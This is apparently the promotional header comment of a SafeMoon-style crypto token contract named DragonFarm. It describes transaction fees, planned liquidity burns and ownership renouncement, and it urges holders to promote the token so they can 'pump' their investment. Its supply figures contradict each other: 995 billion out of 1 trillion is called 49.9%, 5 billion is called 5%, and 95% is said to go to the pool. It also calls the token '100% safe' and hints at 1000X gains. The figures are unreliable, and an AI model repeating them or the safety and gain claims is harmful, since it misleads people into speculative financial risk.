   #DragonFarm - #LIQ+#RFI+#SAFEMOON = #DRAGONFARM. 
  
   Important: The early you create a group that shares the token, the more gain you got.
   
   It's 100% community token, every holder should promote it, or create a group for it, 
   if you want to pump your investment, you need to do your duty.
   
   Dev make this #DRAGONFARM to hand over to the community.
   Create the community by yourself if you are interested.   

   Great features:
   8% fee auto add to the liquidity pool to locked forever when selling
   2% fee auto distribute to all holders

   Dev will burn liquidity LPs to burn addresses to lock the pool forever.
   Dev will renounce the ownership to burn addresses to transfer #DRAGONFARM to the community, make sure it's 100% safe.

   Dev will add 2 BNB and all the left 95% total supply to the pool
   Can you make #DRAGONFARM 1000X? 

   1,000,000,000,000   total supply
     995,000,000,000   tokens limitation for trade, which is 49,9% of the total supply
       5,000,000,000   5% tokens for Dev

   8% fee for liquidity will go to an address that the contract creates, 
   and the contract will sell it and add to liquidity automatically, 
   it's the best part of the #DRAGONFARM idea, increasing the liquidity pool automatically, 
   help the pool grow from the small init pool.
